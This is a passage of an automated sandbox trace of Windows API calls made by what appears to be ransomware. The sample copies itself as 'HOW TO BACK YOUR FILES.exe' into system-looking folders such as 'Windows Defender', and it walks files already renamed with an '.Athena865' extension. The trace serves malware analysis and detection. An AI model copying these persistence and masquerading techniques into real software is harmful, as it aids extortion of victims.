returned="VISIO\\HOW TO BACK YOUR FILES.exe" [0102.863] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.863] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0102.863] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.864] lstrcmpiW (lpString1="Windows", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.864] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender" [0102.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5464d8 [0102.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x523758 [0102.864] lstrcatW (in: lpString1="Windows Defender", lpString2="\\" | out: lpString1="Windows Defender\\") returned="Windows Defender\\" [0102.864] lstrcatW (in: lpString1="Windows Defender\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Defender\\HOW TO BACK YOUR FILES.exe") returned="Windows Defender\\HOW TO BACK YOUR FILES.exe" [0102.864] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.864] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc485c380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0102.864] lstrcmpiW (lpString1="Windows NT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.864] lstrcmpiW (lpString1="Windows NT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.864] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Windows NT" | out: lpString1="Windows NT") returned="Windows NT" [0102.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5464f0 [0102.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x53e080 [0102.865] lstrcatW (in: lpString1="Windows NT", lpString2="\\" | out: lpString1="Windows NT\\") returned="Windows NT\\" [0102.865] lstrcatW (in: lpString1="Windows NT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows NT\\HOW TO BACK YOUR FILES.exe") returned="Windows NT\\HOW TO BACK YOUR FILES.exe" [0102.865] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.865] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48824e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0102.865] lstrcmpiW (lpString1="WwanSvc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.865] lstrcmpiW (lpString1="WwanSvc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.865] lstrcpyW (in: lpString1=0x241e8c6, lpString2="WwanSvc" | out: lpString1="WwanSvc") returned="WwanSvc" [0102.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546508 [0102.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8e) returned 0x533e58 [0102.865] lstrcatW (in: lpString1="WwanSvc", lpString2="\\" | out: lpString1="WwanSvc\\") returned="WwanSvc\\" [0102.865] lstrcatW (in: lpString1="WwanSvc\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="WwanSvc\\HOW TO BACK YOUR FILES.exe") returned="WwanSvc\\HOW TO BACK YOUR FILES.exe" [0102.865] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\wwansvc\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.866] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48824e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0102.866] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.866] ReleaseMutex (hMutex=0xec) returned 1 [0102.866] CloseHandle (hObject=0xec) returned 1 [0102.866] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft Help" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft Help") returned="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft Help" [0102.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0102.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a538 | out: hHeap=0x4f0000) returned 1 [0102.866] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft Help") returned 67 [0102.866] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0DF25B25672CF66577A4E9F89522F1F0") returned 0xec [0102.866] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.866] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft Help" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft Help") returned="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft Help" [0102.866] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.866] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.867] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft help\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.867] GetLastError () returned 0x0 [0102.867] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.867] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.868] CloseHandle (hObject=0xf4) returned 1 [0102.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.868] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.868] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft Help\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc4b2fda0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.868] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.868] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.869] lstrcpyW (in: lpString1=0x241e8d0, lpString2="Hx.hxn.Athena865" | out: lpString1="Hx.hxn.Athena865") returned="Hx.hxn.Athena865" [0102.869] lstrlenW (lpString="Hx.hxn.Athena865") returned 16 [0102.869] lstrlenW (lpString="Athena865") returned 9 [0102.869] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.869] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc48f4900, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn.Athena865", cAlternateFileName="MSEXCE~1.ATH")) returned 1 [0102.869] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.869] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.869] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.EXCEL.14.1033.hxn.Athena865" | out: lpString1="MS.EXCEL.14.1033.hxn.Athena865") returned="MS.EXCEL.14.1033.hxn.Athena865" [0102.869] lstrlenW (lpString="MS.EXCEL.14.1033.hxn.Athena865") returned 30 [0102.869] lstrlenW (lpString="Athena865") returned 9 [0102.869] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.869] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc491aa60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSEXCE~2.ATH")) returned 1 [0102.869] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.869] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.869] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.EXCEL.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.EXCEL.DEV.14.1033.hxn.Athena865") returned="MS.EXCEL.DEV.14.1033.hxn.Athena865" [0102.869] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn.Athena865") returned 34 [0102.869] lstrlenW (lpString="Athena865") returned 9 [0102.869] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.869] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4940bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn.Athena865", cAlternateFileName="MSGRAP~1.ATH")) returned 1 [0102.869] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.869] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.870] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.GRAPH.14.1033.hxn.Athena865" | out: lpString1="MS.GRAPH.14.1033.hxn.Athena865") returned="MS.GRAPH.14.1033.hxn.Athena865" [0102.870] lstrlenW (lpString="MS.GRAPH.14.1033.hxn.Athena865") returned 30 [0102.870] lstrlenW (lpString="Athena865") returned 9 [0102.870] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.870] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4940bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn.Athena865", cAlternateFileName="MSGROO~1.ATH")) returned 1 [0102.870] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.870] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.870] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.GROOVE.14.1033.hxn.Athena865" | out: lpString1="MS.GROOVE.14.1033.hxn.Athena865") returned="MS.GROOVE.14.1033.hxn.Athena865" [0102.870] lstrlenW (lpString="MS.GROOVE.14.1033.hxn.Athena865") returned 31 [0102.870] lstrlenW (lpString="Athena865") returned 9 [0102.870] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.870] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4966d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn.Athena865", cAlternateFileName="MSINFO~1.ATH")) returned 1 [0102.870] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.870] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.870] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.INFOPATH.14.1033.hxn.Athena865" | out: lpString1="MS.INFOPATH.14.1033.hxn.Athena865") returned="MS.INFOPATH.14.1033.hxn.Athena865" [0102.870] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn.Athena865") returned 33 [0102.870] lstrlenW (lpString="Athena865") returned 9 [0102.870] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.870] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc498ce80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn.Athena865", cAlternateFileName="MSINFO~2.ATH")) returned 1 [0102.870] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.870] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.870] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.INFOPATHEDITOR.14.1033.hxn.Athena865" | out: lpString1="MS.INFOPATHEDITOR.14.1033.hxn.Athena865") returned="MS.INFOPATHEDITOR.14.1033.hxn.Athena865" [0102.870] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn.Athena865") returned 39 [0102.870] lstrlenW (lpString="Athena865") returned 9 [0102.870] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.870] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc498ce80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn.Athena865", cAlternateFileName="MSMSAC~1.ATH")) returned 1 [0102.870] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.870] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.870] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.MSACCESS.14.1033.hxn.Athena865" | out: lpString1="MS.MSACCESS.14.1033.hxn.Athena865") returned="MS.MSACCESS.14.1033.hxn.Athena865" [0102.871] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn.Athena865") returned 33 [0102.871] lstrlenW (lpString="Athena865") returned 9 [0102.871] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.871] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc49b2fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSMSAC~2.ATH")) returned 1 [0102.871] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.871] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.871] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.MSACCESS.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.MSACCESS.DEV.14.1033.hxn.Athena865") returned="MS.MSACCESS.DEV.14.1033.hxn.Athena865" [0102.871] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn.Athena865") returned 37 [0102.871] lstrlenW (lpString="Athena865") returned 9 [0102.871] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.871] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc49b2fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn.Athena865", cAlternateFileName="MSMSOU~1.ATH")) returned 1 [0102.871] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.871] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.871] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.MSOUC.14.1033.hxn.Athena865" | out: lpString1="MS.MSOUC.14.1033.hxn.Athena865") returned="MS.MSOUC.14.1033.hxn.Athena865" [0102.871] lstrlenW (lpString="MS.MSOUC.14.1033.hxn.Athena865") returned 30 [0102.871] lstrlenW (lpString="Athena865") returned 9 [0102.871] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.871] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc49d9140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn.Athena865", cAlternateFileName="MSMSPU~1.ATH")) returned 1 [0102.871] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.871] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.871] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.MSPUB.14.1033.hxn.Athena865" | out: lpString1="MS.MSPUB.14.1033.hxn.Athena865") returned="MS.MSPUB.14.1033.hxn.Athena865" [0102.871] lstrlenW (lpString="MS.MSPUB.14.1033.hxn.Athena865") returned 30 [0102.871] lstrlenW (lpString="Athena865") returned 9 [0102.871] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.871] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc49d9140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSMSPU~2.ATH")) returned 1 [0102.871] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.871] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.872] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.MSPUB.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.MSPUB.DEV.14.1033.hxn.Athena865") returned="MS.MSPUB.DEV.14.1033.hxn.Athena865" [0102.872] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn.Athena865") returned 34 [0102.872] lstrlenW (lpString="Athena865") returned 9 [0102.872] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.872] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc49ff2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn.Athena865", cAlternateFileName="MSMSTO~1.ATH")) returned 1 [0102.872] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.872] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.872] lstrcpyW (in: lpString1=0x241e8d0, lpString2="MS.MSTORE.14.1033.hxn.Athena865" | out: lpString1="MS.MSTORE.14.1033.hxn.Athena865") returned="MS.MSTORE.14.1033.hxn.Athena865" [0102.872] lstrlenW (lpString="MS.MSTORE.14.1033.hxn.Athena865") returned 31 [0102.872] lstrlenW (lpString="Athena865") returned 9 [0102.872] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.872] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc49ff2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn.Athena865", cAlternateFileName="MSOIS1~1.ATH")) returned 1 [0102.872] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.872] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.872] lstrcpyW (in: 